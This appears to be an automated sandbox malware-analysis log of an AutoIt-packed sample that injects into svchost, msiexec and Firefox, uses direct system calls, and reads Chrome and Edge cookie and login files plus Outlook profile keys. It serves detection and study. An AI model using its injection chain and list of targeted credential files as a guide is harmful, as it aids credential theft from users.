Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03638AA0 mov eax, dword ptr fs:[00000030h]	2_2_03638AA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03638AA0 mov eax, dword ptr fs:[00000030h]	2_2_03638AA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03686AA4 mov eax, dword ptr fs:[00000030h]	2_2_03686AA4
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0363EA80 mov eax, dword ptr fs:[00000030h]	2_2_0363EA80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0363EA80 mov eax, dword ptr fs:[00000030h]	2_2_0363EA80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0363EA80 mov eax, dword ptr fs:[00000030h]	2_2_0363EA80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0363EA80 mov eax, dword ptr fs:[00000030h]	2_2_0363EA80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0363EA80 mov eax, dword ptr fs:[00000030h]	2_2_0363EA80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0363EA80 mov eax, dword ptr fs:[00000030h]	2_2_0363EA80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0363EA80 mov eax, dword ptr fs:[00000030h]	2_2_0363EA80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0363EA80 mov eax, dword ptr fs:[00000030h]	2_2_0363EA80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0363EA80 mov eax, dword ptr fs:[00000030h]	2_2_0363EA80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03704A80 mov eax, dword ptr fs:[00000030h]	2_2_03704A80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03668A90 mov edx, dword ptr fs:[00000030h]	2_2_03668A90
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03656962 mov eax, dword ptr fs:[00000030h]	2_2_03656962
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03656962 mov eax, dword ptr fs:[00000030h]	2_2_03656962
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03656962 mov eax, dword ptr fs:[00000030h]	2_2_03656962
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0367096E mov eax, dword ptr fs:[00000030h]	2_2_0367096E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0367096E mov edx, dword ptr fs:[00000030h]	2_2_0367096E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0367096E mov eax, dword ptr fs:[00000030h]	2_2_0367096E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_036D4978 mov eax, dword ptr fs:[00000030h]	2_2_036D4978
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_036D4978 mov eax, dword ptr fs:[00000030h]	2_2_036D4978
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_036BC97C mov eax, dword ptr fs:[00000030h]	2_2_036BC97C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_036B0946 mov eax, dword ptr fs:[00000030h]	2_2_036B0946
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03704940 mov eax, dword ptr fs:[00000030h]	2_2_03704940
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_036B892A mov eax, dword ptr fs:[00000030h]	2_2_036B892A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_036C892B mov eax, dword ptr fs:[00000030h]	2_2_036C892B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_036AE908 mov eax, dword ptr fs:[00000030h]	2_2_036AE908
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_036AE908 mov eax, dword ptr fs:[00000030h]	2_2_036AE908
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_036BC912 mov eax, dword ptr fs:[00000030h]	2_2_036BC912
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03628918 mov eax, dword ptr fs:[00000030h]	2_2_03628918
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03628918 mov eax, dword ptr fs:[00000030h]	2_2_03628918
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_036BE9E0 mov eax, dword ptr fs:[00000030h]	2_2_036BE9E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_036629F9 mov eax, dword ptr fs:[00000030h]	2_2_036629F9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_036629F9 mov eax, dword ptr fs:[00000030h]	2_2_036629F9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_036C69C0 mov eax, dword ptr fs:[00000030h]	2_2_036C69C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0363A9D0 mov eax, dword ptr fs:[00000030h]	2_2_0363A9D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0363A9D0 mov eax, dword ptr fs:[00000030h]	2_2_0363A9D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0363A9D0 mov eax, dword ptr fs:[00000030h]	2_2_0363A9D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0363A9D0 mov eax, dword ptr fs:[00000030h]	2_2_0363A9D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0363A9D0 mov eax, dword ptr fs:[00000030h]	2_2_0363A9D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0363A9D0 mov eax, dword ptr fs:[00000030h]	2_2_0363A9D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_036649D0 mov eax, dword ptr fs:[00000030h]	2_2_036649D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_036FA9D3 mov eax, dword ptr fs:[00000030h]	2_2_036FA9D3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_036429A0 mov eax, dword ptr fs:[00000030h]	2_2_036429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_036429A0 mov eax, dword ptr fs:[00000030h]	2_2_036429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_036429A0 mov eax, dword ptr fs:[00000030h]	2_2_036429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_036429A0 mov eax, dword ptr fs:[00000030h]	2_2_036429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_036429A0 mov eax, dword ptr fs:[00000030h]	2_2_036429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_036429A0 mov eax, dword ptr fs:[00000030h]	2_2_036429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_036429A0 mov eax, dword ptr fs:[00000030h]	2_2_036429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_036429A0 mov eax, dword ptr fs:[00000030h]	2_2_036429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_036429A0 mov eax, dword ptr fs:[00000030h]	2_2_036429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_036429A0 mov eax, dword ptr fs:[00000030h]	2_2_036429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_036429A0 mov eax, dword ptr fs:[00000030h]	2_2_036429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_036429A0 mov eax, dword ptr fs:[00000030h]	2_2_036429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_036429A0 mov eax, dword ptr fs:[00000030h]	2_2_036429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_036309AD mov eax, dword ptr fs:[00000030h]	2_2_036309AD
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_036309AD mov eax, dword ptr fs:[00000030h]	2_2_036309AD
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_036B89B3 mov esi, dword ptr fs:[00000030h]	2_2_036B89B3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_036B89B3 mov eax, dword ptr fs:[00000030h]	2_2_036B89B3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_036B89B3 mov eax, dword ptr fs:[00000030h]	2_2_036B89B3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_036BE872 mov eax, dword ptr fs:[00000030h]	2_2_036BE872
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_036BE872 mov eax, dword ptr fs:[00000030h]	2_2_036BE872
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_036C6870 mov eax, dword ptr fs:[00000030h]	2_2_036C6870
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_036C6870 mov eax, dword ptr fs:[00000030h]	2_2_036C6870
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03642840 mov ecx, dword ptr fs:[00000030h]	2_2_03642840
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03660854 mov eax, dword ptr fs:[00000030h]	2_2_03660854
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03634859 mov eax, dword ptr fs:[00000030h]	2_2_03634859
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03634859 mov eax, dword ptr fs:[00000030h]	2_2_03634859
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03652835 mov eax, dword ptr fs:[00000030h]	2_2_03652835
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03652835 mov eax, dword ptr fs:[00000030h]	2_2_03652835

Source: C:\Users\user\Desktop\0XLuA614VK.exe

Code function: 0_2_00F80B62 GetSecurityDescriptorDacl,GetAclInformation,GetLengthSid,GetLengthSid,GetAce,AddAce,GetLengthSid,GetProcessHeap,HeapAlloc,GetLengthSid,CopySid,AddAce,SetSecurityDescriptorDacl,SetUserObjectSecurity,HeapFree,GetProcessHeap,HeapFree,GetProcessHeap,HeapFree,GetProcessHeap,HeapFree,GetProcessHeap,HeapFree,

0_2_00F80B62

Source: C:\Users\user\Desktop\0XLuA614VK.exe	Code function: 0_2_00F52622 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_00F52622
Source: C:\Users\user\Desktop\0XLuA614VK.exe	Code function: 0_2_00F4083F IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_00F4083F
Source: C:\Users\user\Desktop\0XLuA614VK.exe	Code function: 0_2_00F409D5 SetUnhandledExceptionFilter,	0_2_00F409D5
Source: C:\Users\user\Desktop\0XLuA614VK.exe	Code function: 0_2_00F40C21 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_00F40C21

HIPS / PFW / Operating System Protection Evasion

Source: C:\Program Files (x86)\tDCzgUpqMpyFtrEZKjWXqEXSFoaiZJoViUUxeRKTJygWDziRLNg\sXmdPDASzrmzi.exe	NtAllocateVirtualMemory: Direct from: 0x76EF48EC	Jump to behavior
Source: C:\Program Files (x86)\tDCzgUpqMpyFtrEZKjWXqEXSFoaiZJoViUUxeRKTJygWDziRLNg\sXmdPDASzrmzi.exe	NtQueryAttributesFile: Direct from: 0x76EF2E6C	Jump to behavior
Source: C:\Program Files (x86)\tDCzgUpqMpyFtrEZKjWXqEXSFoaiZJoViUUxeRKTJygWDziRLNg\sXmdPDASzrmzi.exe	NtQueryVolumeInformationFile: Direct from: 0x76EF2F2C	Jump to behavior
Source: C:\Program Files (x86)\tDCzgUpqMpyFtrEZKjWXqEXSFoaiZJoViUUxeRKTJygWDziRLNg\sXmdPDASzrmzi.exe	NtQuerySystemInformation: Direct from: 0x76EF48CC	Jump to behavior
Source: C:\Program Files (x86)\tDCzgUpqMpyFtrEZKjWXqEXSFoaiZJoViUUxeRKTJygWDziRLNg\sXmdPDASzrmzi.exe	NtOpenSection: Direct from: 0x76EF2E0C	Jump to behavior
Source: C:\Program Files (x86)\tDCzgUpqMpyFtrEZKjWXqEXSFoaiZJoViUUxeRKTJygWDziRLNg\sXmdPDASzrmzi.exe	NtDeviceIoControlFile: Direct from: 0x76EF2AEC	Jump to behavior
Source: C:\Program Files (x86)\tDCzgUpqMpyFtrEZKjWXqEXSFoaiZJoViUUxeRKTJygWDziRLNg\sXmdPDASzrmzi.exe	NtAllocateVirtualMemory: Direct from: 0x76EF2BEC	Jump to behavior
Source: C:\Program Files (x86)\tDCzgUpqMpyFtrEZKjWXqEXSFoaiZJoViUUxeRKTJygWDziRLNg\sXmdPDASzrmzi.exe	NtQueryInformationToken: Direct from: 0x76EF2CAC	Jump to behavior
Source: C:\Program Files (x86)\tDCzgUpqMpyFtrEZKjWXqEXSFoaiZJoViUUxeRKTJygWDziRLNg\sXmdPDASzrmzi.exe	NtCreateFile: Direct from: 0x76EF2FEC	Jump to behavior
Source: C:\Program Files (x86)\tDCzgUpqMpyFtrEZKjWXqEXSFoaiZJoViUUxeRKTJygWDziRLNg\sXmdPDASzrmzi.exe	NtOpenFile: Direct from: 0x76EF2DCC	Jump to behavior
Source: C:\Program Files (x86)\tDCzgUpqMpyFtrEZKjWXqEXSFoaiZJoViUUxeRKTJygWDziRLNg\sXmdPDASzrmzi.exe	NtTerminateThread: Direct from: 0x76EF2FCC	Jump to behavior
Source: C:\Program Files (x86)\tDCzgUpqMpyFtrEZKjWXqEXSFoaiZJoViUUxeRKTJygWDziRLNg\sXmdPDASzrmzi.exe	NtOpenKeyEx: Direct from: 0x76EF2B9C	Jump to behavior
Source: C:\Program Files (x86)\tDCzgUpqMpyFtrEZKjWXqEXSFoaiZJoViUUxeRKTJygWDziRLNg\sXmdPDASzrmzi.exe	NtSetInformationProcess: Direct from: 0x76EF2C5C	Jump to behavior
Source: C:\Program Files (x86)\tDCzgUpqMpyFtrEZKjWXqEXSFoaiZJoViUUxeRKTJygWDziRLNg\sXmdPDASzrmzi.exe	NtProtectVirtualMemory: Direct from: 0x76EF2F9C	Jump to behavior
Source: C:\Program Files (x86)\tDCzgUpqMpyFtrEZKjWXqEXSFoaiZJoViUUxeRKTJygWDziRLNg\sXmdPDASzrmzi.exe	NtWriteVirtualMemory: Direct from: 0x76EF2E3C	Jump to behavior
Source: C:\Program Files (x86)\tDCzgUpqMpyFtrEZKjWXqEXSFoaiZJoViUUxeRKTJygWDziRLNg\sXmdPDASzrmzi.exe	NtUnmapViewOfSection: Direct from: 0x76EF2D3C	Jump to behavior
Source: C:\Program Files (x86)\tDCzgUpqMpyFtrEZKjWXqEXSFoaiZJoViUUxeRKTJygWDziRLNg\sXmdPDASzrmzi.exe	NtNotifyChangeKey: Direct from: 0x76EF3C2C	Jump to behavior
Source: C:\Program Files (x86)\tDCzgUpqMpyFtrEZKjWXqEXSFoaiZJoViUUxeRKTJygWDziRLNg\sXmdPDASzrmzi.exe	NtCreateMutant: Direct from: 0x76EF35CC	Jump to behavior
Source: C:\Program Files (x86)\tDCzgUpqMpyFtrEZKjWXqEXSFoaiZJoViUUxeRKTJygWDziRLNg\sXmdPDASzrmzi.exe	NtResumeThread: Direct from: 0x76EF36AC	Jump to behavior
Source: C:\Program Files (x86)\tDCzgUpqMpyFtrEZKjWXqEXSFoaiZJoViUUxeRKTJygWDziRLNg\sXmdPDASzrmzi.exe	NtMapViewOfSection: Direct from: 0x76EF2D1C	Jump to behavior
Source: C:\Program Files (x86)\tDCzgUpqMpyFtrEZKjWXqEXSFoaiZJoViUUxeRKTJygWDziRLNg\sXmdPDASzrmzi.exe	NtProtectVirtualMemory: Direct from: 0x76EE7B2E	Jump to behavior
Source: C:\Program Files (x86)\tDCzgUpqMpyFtrEZKjWXqEXSFoaiZJoViUUxeRKTJygWDziRLNg\sXmdPDASzrmzi.exe	NtAllocateVirtualMemory: Direct from: 0x76EF2BFC	Jump to behavior
Source: C:\Program Files (x86)\tDCzgUpqMpyFtrEZKjWXqEXSFoaiZJoViUUxeRKTJygWDziRLNg\sXmdPDASzrmzi.exe	NtQuerySystemInformation: Direct from: 0x76EF2DFC	Jump to behavior
Source: C:\Program Files (x86)\tDCzgUpqMpyFtrEZKjWXqEXSFoaiZJoViUUxeRKTJygWDziRLNg\sXmdPDASzrmzi.exe	NtReadFile: Direct from: 0x76EF2ADC	Jump to behavior
Source: C:\Program Files (x86)\tDCzgUpqMpyFtrEZKjWXqEXSFoaiZJoViUUxeRKTJygWDziRLNg\sXmdPDASzrmzi.exe	NtDelayExecution: Direct from: 0x76EF2DDC	Jump to behavior
Source: C:\Program Files (x86)\tDCzgUpqMpyFtrEZKjWXqEXSFoaiZJoViUUxeRKTJygWDziRLNg\sXmdPDASzrmzi.exe	NtQueryInformationProcess: Direct from: 0x76EF2C26	Jump to behavior
Source: C:\Program Files (x86)\tDCzgUpqMpyFtrEZKjWXqEXSFoaiZJoViUUxeRKTJygWDziRLNg\sXmdPDASzrmzi.exe	NtResumeThread: Direct from: 0x76EF2FBC	Jump to behavior
Source: C:\Program Files (x86)\tDCzgUpqMpyFtrEZKjWXqEXSFoaiZJoViUUxeRKTJygWDziRLNg\sXmdPDASzrmzi.exe	NtCreateUserProcess: Direct from: 0x76EF371C	Jump to behavior
Source: C:\Program Files (x86)\tDCzgUpqMpyFtrEZKjWXqEXSFoaiZJoViUUxeRKTJygWDziRLNg\sXmdPDASzrmzi.exe	NtAllocateVirtualMemory: Direct from: 0x76EF3C9C	Jump to behavior
Source: C:\Program Files (x86)\tDCzgUpqMpyFtrEZKjWXqEXSFoaiZJoViUUxeRKTJygWDziRLNg\sXmdPDASzrmzi.exe	NtSetInformationThread: Direct from: 0x76EE63F9	Jump to behavior
Source: C:\Program Files (x86)\tDCzgUpqMpyFtrEZKjWXqEXSFoaiZJoViUUxeRKTJygWDziRLNg\sXmdPDASzrmzi.exe	NtWriteVirtualMemory: Direct from: 0x76EF490C	Jump to behavior
Source: C:\Program Files (x86)\tDCzgUpqMpyFtrEZKjWXqEXSFoaiZJoViUUxeRKTJygWDziRLNg\sXmdPDASzrmzi.exe	NtClose: Direct from: 0x76EF2B6C
Source: C:\Program Files (x86)\tDCzgUpqMpyFtrEZKjWXqEXSFoaiZJoViUUxeRKTJygWDziRLNg\sXmdPDASzrmzi.exe	NtSetInformationThread: Direct from: 0x76EF2B4C	Jump to behavior
Source: C:\Program Files (x86)\tDCzgUpqMpyFtrEZKjWXqEXSFoaiZJoViUUxeRKTJygWDziRLNg\sXmdPDASzrmzi.exe	NtCreateKey: Direct from: 0x76EF2C6C	Jump to behavior
Source: C:\Program Files (x86)\tDCzgUpqMpyFtrEZKjWXqEXSFoaiZJoViUUxeRKTJygWDziRLNg\sXmdPDASzrmzi.exe	NtReadVirtualMemory: Direct from: 0x76EF2E8C	Jump to behavior

Maps a DLL or memory area into another process

Source: C:\Users\user\Desktop\0XLuA614VK.exe	Section loaded: NULL target: C:\Windows\SysWOW64\svchost.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: NULL target: C:\Program Files (x86)\tDCzgUpqMpyFtrEZKjWXqEXSFoaiZJoViUUxeRKTJygWDziRLNg\sXmdPDASzrmzi.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: NULL target: C:\Windows\SysWOW64\msiexec.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: NULL target: C:\Program Files (x86)\tDCzgUpqMpyFtrEZKjWXqEXSFoaiZJoViUUxeRKTJygWDziRLNg\sXmdPDASzrmzi.exe protection: read write	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: NULL target: C:\Program Files (x86)\tDCzgUpqMpyFtrEZKjWXqEXSFoaiZJoViUUxeRKTJygWDziRLNg\sXmdPDASzrmzi.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: NULL target: C:\Program Files\Mozilla Firefox\firefox.exe protection: read write	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: NULL target: C:\Program Files\Mozilla Firefox\firefox.exe protection: execute and read and write	Jump to behavior

Modifies the context of a thread in another process (thread injection)

Source: C:\Windows\SysWOW64\msiexec.exe

Thread register set: target process: 2300

Writes to foreign memory regions

Source: C:\Users\user\Desktop\0XLuA614VK.exe

Memory written: C:\Windows\SysWOW64\svchost.exe base: 2AB1008

Source: C:\Users\user\Desktop\0XLuA614VK.exe

0_2_00F81201

Source: C:\Users\user\Desktop\0XLuA614VK.exe

Code function: 0_2_00F62BA5 SetCurrentDirectoryW,GetForegroundWindow,ShellExecuteW,

0_2_00F62BA5

Source: C:\Users\user\Desktop\0XLuA614VK.exe

Code function: 0_2_00F8B226 SendInput,keybd_event,

0_2_00F8B226

Source: C:\Users\user\Desktop\0XLuA614VK.exe

Code function: 0_2_00FA22DA GetForegroundWindow,GetDesktopWindow,GetWindowRect,mouse_event,GetCursorPos,mouse_event,

0_2_00FA22DA

Source: C:\Users\user\Desktop\0XLuA614VK.exe	Process created: C:\Windows\SysWOW64\svchost.exe "C:\Users\user\Desktop\0XLuA614VK.exe"	Jump to behavior
Source: C:\Program Files (x86)\tDCzgUpqMpyFtrEZKjWXqEXSFoaiZJoViUUxeRKTJygWDziRLNg\sXmdPDASzrmzi.exe	Process created: C:\Windows\SysWOW64\msiexec.exe "C:\Windows\SysWOW64\msiexec.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"	Jump to behavior

Source: C:\Users\user\Desktop\0XLuA614VK.exe

0_2_00F80B62

Source: C:\Users\user\Desktop\0XLuA614VK.exe

Code function: 0_2_00F81663 AllocateAndInitializeSid,CheckTokenMembership,FreeSid,

0_2_00F81663

Source: 0XLuA614VK.exe	Binary or memory string: Run Script:AutoIt script files (.au3, .a3x).au3;.a3xAll files (.).au3#include depth exceeded. Make sure there are no recursive includesError opening the file>>>AUTOIT SCRIPT<<<Bad directive syntax errorUnterminated stringCannot parse #includeUnterminated group of commentsONOFF0%d%dShell_TrayWndREMOVEKEYSEXISTSAPPENDblankinfoquestionstopwarning
Source: sXmdPDASzrmzi.exe, 00000003.00000000.2128390828.0000000001611000.00000002.00000001.00040000.00000000.sdmp, sXmdPDASzrmzi.exe, 00000003.00000002.4488367431.0000000001611000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Program Manager
Source: 0XLuA614VK.exe, sXmdPDASzrmzi.exe, 00000003.00000000.2128390828.0000000001611000.00000002.00000001.00040000.00000000.sdmp, sXmdPDASzrmzi.exe, 00000003.00000002.4488367431.0000000001611000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Shell_TrayWnd
Source: sXmdPDASzrmzi.exe, 00000003.00000000.2128390828.0000000001611000.00000002.00000001.00040000.00000000.sdmp, sXmdPDASzrmzi.exe, 00000003.00000002.4488367431.0000000001611000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progman
Source: sXmdPDASzrmzi.exe, 00000003.00000000.2128390828.0000000001611000.00000002.00000001.00040000.00000000.sdmp, sXmdPDASzrmzi.exe, 00000003.00000002.4488367431.0000000001611000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progmanlock

Source: C:\Users\user\Desktop\0XLuA614VK.exe

Code function: 0_2_00F40698 cpuid

0_2_00F40698

Source: C:\Users\user\Desktop\0XLuA614VK.exe

Code function: 0_2_00F98195 GetLocalTime,SystemTimeToFileTime,LocalFileTimeToFileTime,GetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,

0_2_00F98195

Source: C:\Users\user\Desktop\0XLuA614VK.exe

Code function: 0_2_00F7D27A GetUserNameW,

0_2_00F7D27A

Source: C:\Users\user\Desktop\0XLuA614VK.exe

Code function: 0_2_00F5B952 _free,_free,_free,GetTimeZoneInformation,WideCharToMultiByte,WideCharToMultiByte,_free,

0_2_00F5B952

Source: C:\Users\user\Desktop\0XLuA614VK.exe

Code function: 0_2_00F242DE GetVersionExW,GetCurrentProcess,IsWow64Process,LoadLibraryA,GetProcAddress,GetNativeSystemInfo,FreeLibrary,GetSystemInfo,GetSystemInfo,

Stealing of Sensitive Information

Tries to harvest and steal browser information (history, passwords, etc)

Source: Yara match	File source: 2.2.svchost.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.svchost.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000002.00000002.2203489925.0000000005000000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.4491976479.0000000006A20000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.4487941986.0000000002590000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.2202835266.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.2203112079.0000000003480000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.4487732507.0000000000110000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.4487977474.00000000025D0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.4488832936.00000000041A0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY

Source: C:\Windows\SysWOW64\msiexec.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Cookies	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local State	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Local State	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Windows\SysWOW64\msiexec.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\

Source: 0XLuA614VK.exe	Binary or memory string: WIN_81
Source: 0XLuA614VK.exe	Binary or memory string: WIN_XP
Source: 0XLuA614VK.exe	Binary or memory string: %.3d%S%M%H%m%Y%jX86IA64X64WIN32_NTWIN_11WIN_10WIN_2022WIN_2019WIN_2016WIN_81WIN_2012R2WIN_2012WIN_8WIN_2008R2WIN_7WIN_2008WIN_VISTAWIN_2003WIN_XPeWIN_XPInstallLanguageSYSTEM\CurrentControlSet\Control\Nls\LanguageSchemeLangIDControl Panel\AppearanceUSERPROFILEUSERDOMAINUSERDNSDOMAINGetSystemWow64DirectoryWSeDebugPrivilege:winapistdcallubyte64HKEY_LOCAL_MACHINEHKLMHKEY_CLASSES_ROOTHKCRHKEY_CURRENT_CONFIGHKCCHKEY_CURRENT_USERHKCUHKEY_USERSHKUREG_EXPAND_SZREG_SZREG_MULTI_SZREG_DWORDREG_QWORDREG_BINARYRegDeleteKeyExWadvapi32.dll+.-.\\[\\nrt]\|%%\|%[-+ 0#]?([0-9]\|\)?(\.[0-9]\|\.\)?[hlL]?[diouxXeEfgGs](*UCP)\XISVISIBLEISENABLEDTABLEFTTABRIGHTCURRENTTABSHOWDROPDOWNHIDEDROPDOWNADDSTRINGDELSTRINGFINDSTRINGGETCOUNTSETCURRENTSELECTIONGETCURRENTSELECTIONSELECTSTRINGISCHECKEDCHECKUNCHECKGETSELECTEDGETLINECOUNTGETCURRENTLINEGETCURRENTCOLEDITPASTEGETLINESENDCOMMANDIDGETITEMCOUNTGETSUBITEMCOUNTGETTEXTGETSELECTEDCOUNTISSELECTEDSELECTALLSELECTCLEARSELECTINVERTDESELECTFINDITEMVIEWCHANGEGETTOTALCOUNTCOLLAPSEEXPANDmsctls_statusbar321tooltips_class32%d/%02d/%02dbuttonComboboxListboxSysDateTimePick32SysMonthCal32.icl.exe.dllMsctls_Progress32msctls_trackbar32SysAnimate32msctls_updown32SysTabControl32SysTreeView32SysListView32-----@GUI_DRAGID@GUI_DROPID@GUI_DRAGFILEError text not found (please report)Q\EDEFINEUTF16)UTF)UCP)NO_AUTO_POSSESS)NO_START_OPT)LIMIT_MATCH=LIMIT_RECURSION=CR)LF)CRLF)ANY)ANYCRLF)BSR_ANYCRLF)BSR_UNICODE)argument is not a compiled regular expressionargument not compiled in 16 bit modeinternal error: opcode not recognizedinternal error: missing capturing bracketfailed to get memory
Source: 0XLuA614VK.exe	Binary or memory string: WIN_XPe
Source: 0XLuA614VK.exe	Binary or memory string: WIN_VISTA
Source: 0XLuA614VK.exe	Binary or memory string: WIN_7
Source: 0XLuA614VK.exe	Binary or memory string: WIN_8

Remote Access Functionality

Source: Yara match	File source: 2.2.svchost.exe.400000.0.unpack, type: UNPACKEDPE
